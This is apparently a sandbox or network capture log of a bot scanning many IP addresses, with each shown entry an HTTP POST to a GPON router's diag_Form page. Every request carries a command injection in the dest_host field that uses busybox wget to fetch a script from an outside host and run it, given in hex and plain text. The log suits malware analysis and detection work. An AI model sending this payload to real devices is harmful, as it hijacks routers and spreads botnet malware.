Mar 2, 2024 12:36:51.837641001 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	58212	79.10.214.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837656975 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	35744	2.80.118.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.837683916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	42640	42.221.226.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841736078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	34514	5.49.18.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841737986 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	55504	94.143.32.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841756105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	51516	94.215.64.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841780901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	51104	79.105.208.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841789961 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	38026	79.149.8.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841810942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	58770	5.104.244.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841842890 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	44800	37.203.26.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841872931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	35692	94.123.163.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841892958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	36504	2.109.39.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841892958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	50624	79.238.12.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841942072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	53952	109.47.114.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841948986 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	41610	118.201.37.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841960907 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	40572	42.101.16.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.841991901 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	57240	212.68.212.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842008114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	48630	79.233.15.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842032909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	52954	94.182.130.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842032909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	54378	79.3.118.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842086077 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	33586	37.99.7.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842106104 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	52016	118.88.235.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842118979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	49644	94.91.67.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842170000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	45458	2.86.78.46	443

Timestamp	Bytes transferred	Direction	Data
